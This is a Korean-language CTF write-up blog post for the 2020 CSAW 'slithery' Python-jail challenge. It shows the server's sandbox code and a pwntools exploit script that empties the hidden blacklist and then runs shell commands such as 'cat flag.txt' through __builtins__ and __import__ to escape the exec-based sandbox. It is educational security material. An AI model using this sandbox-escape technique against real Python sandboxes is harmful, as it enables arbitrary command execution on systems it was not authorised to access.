tmxklab
2020 CSAW - [pwn] slithery 본문
해당 문제는 python jail 또는 Pyjail관련 문제이다.
1. 문제확인
먼저, 서버에서 작동되는 python파일을 확인해보자
#!/usr/bin/env python3
from base64 import b64decode
import blacklist # you don't get to see this :p
"""
Don't worry, if you break out of this one, we have another one underneath so that you won't
wreak any havoc!
"""
def main():
print("EduPy 3.8.2")
while True:
try:
command = input(">>> ")
if any([x in command for x in blacklist.BLACKLIST]):
raise Exception("not allowed!!")
final_cmd = """
uOaoBPLLRN = open("sandbox.py", "r")
uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8)
ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ")
AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU]
bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU]
uOaoBPLLRN.close()
HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)
RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))\n""" + command
exec(final_cmd)
except (KeyboardInterrupt, EOFError):
return 0
except Exception as e:
print(f"Exception: {e}")
if __name__ == "__main__":
exit(main())
로직은 단순하게 입력 값을 받아서 exec()를 통해 실행한다. exec()를 실행하기 전에 입력 값중에 blacklist에 있는 문자열이 존재하면 필터링되고 우리는 blacklist에 어떠한 값이 있는지 알 수 없다.
대충 system함수를 실행시키기 위해서 필요한 입력 값들을 넣었더니 필터링에 전부 걸렸다.
2. 문제 접근 및 풀이
1) blacklist.BLACKLIST리스트 확인
필터링을 피하기 위해서 다양한 방법이 존재하지만 일단 나는 blacklist.BLACKLIST에 어떠한 문자열이 존재하는지 알고 싶었다.
다행히 print함수는 필터링에 걸리지 않아 blacklist.BLACKLIST리스트의 필터링하는 문자열을 확인할 수 있었다.
그러면 list에 존재하는 필터링 되는 문자열을 모두 제거하면 어떠한 값을 넣어도 필터링 되지 않을 것이다.
"del"도 필터링되지 않아서 list의 첫 번째 값을 없앨 수 있는 것을 확인할 수 있다.
그럼 그냥 del을 이용하여 list에 들어있는 값들을 전부 지우거나 blacklist.BLACKLIST = [ ]를 통해서 전부 없애주면 된다.
익스 코드)
from pwn import *
context.log_level = "debug"
p = remote("pwn.chal.csaw.io", 5011)
# 1. check blacklist
payload = "print(blacklist.BLACKLIST)"
p.sendlineafter(">>> ", payload)
# 2. all remove blacklist
"""
for i in range(19):
payload = "del(blacklist.BLACKLIST[0])"
p.sendlineafter(">>> ", payload)
"""
payload = "blacklist.BLACKLIST = []"
p.sendlineafter(">>> ", payload)
# 3. check blacklist
payload = "print(blacklist.BLACKLIST)"
p.sendlineafter(">>> ", payload)
# 4. system('ls')
payload = "__builtins__.__dict__['__import__']('os').__dict__['system']('ls')"
p.sendlineafter(">>> ", payload)
# 5. system('cat flag.txt')
payload = "__builtins__.__dict__['__import__']('os').__dict__['system']('cat flag.txt')"
p.sendlineafter(">>> ", payload)
실행 결과)
** HackCTF사이트에서 비슷한 문제를 풀었던 것이 조금 도움이 되었고 재밌었다ㅋㅋㅋ.
나중에 pyjail관련해서 따로 정리하도록 하겠다.
'CTF 문제' 카테고리의 다른 글
2020 DamCTF - ghostbusters(pwn) (2) | 2020.10.15 |
---|---|
2020 DownUnderCTF - [misc] homepage (0) | 2020.09.21 |
2020 DownUnderCTF - [forensic] On the spectrum (0) | 2020.09.21 |
2020 DownUnderCTF - [pwn] return-to-whats-revenge (0) | 2020.09.21 |
2020 DownUnderCTF - [pwn] return-to-what (0) | 2020.09.21 |
Comments